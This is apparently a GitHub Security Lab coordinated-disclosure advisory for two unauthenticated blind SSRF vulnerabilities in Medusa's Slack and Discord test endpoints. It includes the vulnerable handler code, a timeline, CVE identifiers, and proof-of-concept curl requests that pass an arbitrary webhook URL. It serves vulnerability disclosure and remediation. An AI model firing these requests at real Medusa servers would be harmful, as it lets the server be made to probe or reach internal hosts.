Coordinated Disclosure Timeline
- 2023-09-26: Reported the vulnerabilities via GitHub PVR.
- 2023-11-17: Created an issue in the project repository asking for a contact person and an update.
- 2023-11-19: Maintainer accepts the report and proposes a fix.
- 2023-12-11: Asked the maintainer via PVR to assign CVEs and publish advisories.
- 2023-12-18: CVEs are assigned and advisories are published.
Summary
Medusa contains two unauthenticated blind server-side request forgery (SSRF) vulnerabilities.
Project
Medusa
Tested Version
Details
Issue 1: Blind SSRF in /home/testslack
endpoint (GHSL-2023-201
)
The testslack
request handler in medusa/server/web/home/handler.py
does not validate the user-controlled slack_webhook
variable and passes it to the notifiers.slack_notifier.test_notify
method, then _notify_slack
and finally _send_slack
method, which sends a POST request to the user-controlled URL on line 103 in /medusa/notifiers/slack.py
, which leads to a blind server-side request forgery (SSRF).
def _send_slack(self, message=None, webhook=None):
"""Send the http request using the Slack webhook."""
webhook = webhook or app.SLACK_WEBHOOK
log.info('Sending slack message: {message}', {'message': message})
log.info('Sending slack message to url: {url}', {'url': webhook})
headers = {'Content-Type': 'application/json'}
data = {
'text': message,
'username': 'MedusaBot',
'icon_url': 'https://cdn.pymedusa.com/images/ico/favicon-310.png'
}
try:
r = requests.post(webhook, data=json.dumps(data), headers=headers)
r.raise_for_status()
except Exception:
log.exception('Error Sending Slack message')
return False
return True
This issue was found with the CodeQL query Full server-side request forgery.
Impact
This issue allows for crafting POST requests on behalf of the Medusa server.
Proof of Concept
- Start a simple python web server, f.ex. this one. This code will start a web server on
http://127.0.0.1:9000
- Start Medusa. We assume that it is running on
http://localhost:8081
. - Send the following request:
curl -X GET 'http://localhost:8081/home/testslack?slack_webhook=http://127.0.0.1:9000/'
Based on the response, we can infer if the request succeeded (returned HTTP status 2xx). If it did, we will receive a response:
Slack notification succeeded. Check your Slack channel to make sure it worked
If the request resulted in an error, it will raise an exception and we will receive:
Error sending Slack notification
Issue 2: Blind SSRF in /home/testdiscord
endpoint (GHSL-2023-202
)
The testDiscord
request handler in medusa/server/web/home/handler.py
does not validate the user-controlled discord_webhook
variable and passes it to the notifiers.discord_notifier.test_notify
method, then _notify_discord
and finally _send_discord_msg
method, which sends a POST request to the user-controlled URL on line 64 in /medusa/notifiers/discord.py, which leads to a blind server-side request forgery.
def _send_discord_msg(self, title, msg, webhook=None, tts=None, override_avatar=None):
"""Collect the parameters and send the message to the discord webhook."""
webhook = app.DISCORD_WEBHOOK if webhook is None else webhook
tts = app.DISCORD_TTS if tts is None else tts
override_avatar = app.DISCORD_OVERRIDE_AVATAR if override_avatar is None else override_avatar
log.debug('Discord in use with API webhook: {webhook}', {'webhook': webhook})
headers = {'Content-Type': 'application/json'}
payload = {
'username': app.DISCORD_NAME,
'content': '',
'tts': tts,
'embeds': [{
'type': 'rich',
'title': '',
'description': msg,
'footer': {
'text': title
}
}]
}
if override_avatar:
payload['avatar_url'] = app.DISCORD_AVATAR_URL
success = False
try:
r = requests.post(webhook, json=payload, headers=headers)
r.raise_for_status()
message = 'Discord message sent successfully.'
success = True
except RequestException as error:
message = 'Unknown IO error: %s' % error
if hasattr(error, 'response') and error.response is not None:
error_message = {
400: 'Missing parameter(s). Double check your settings or if the channel/user exists.',
401: 'Authentication failed, check your webhook url',
420: 'Too many messages.',
500: 'Server error. Please retry in a few moments.',
}
if error.response.status_code in error_message:
message = error_message.get(error.response.status_code)
else:
message = http_status_code.get(error.response.status_code, message)
except Exception as error:
message = 'Error while sending Discord message: {0} '.format(error)
finally:
log.info(message)
return success, message
This issue was found with the CodeQL query Full server-side request forgery.
Impact
This issue allows for crafting POST requests on behalf of the Medusa server.
Proof of Concept
- Start a simple python web server, f.ex. this one. This code will start a web server on
http://127.0.0.1:9000
- Start Medusa. We assume that it is running on
http://localhost:8081
. - Send the following request:
curl -X GET 'http://localhost:8081/home/testDiscord?discord_webhook=http://127.0.0.1:9000/'
Based on the response, we can infer if the request succeeded (returned HTTP status 2xx). If it did, we will receive a response:
Discord notification succeeded. Check your Discord channels to make sure it worked
If the request resulted in an error, it will raise an exception and we will receive an error message depending on the HTTP status.
CVE
- GHSL-2023-201 has CVE-2023-50259 - GHSA-8mcr-vffr-jwxv
- GHSL-2023-202 has CVE-2023-50258 - GHSA-3hph-6586-qv9g
Credit
These issues were discovered and reported by GHSL team member @sylwia-budzynska (Sylwia Budzynska).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-201
or GHSL-2023-202
in any communication regarding these issues.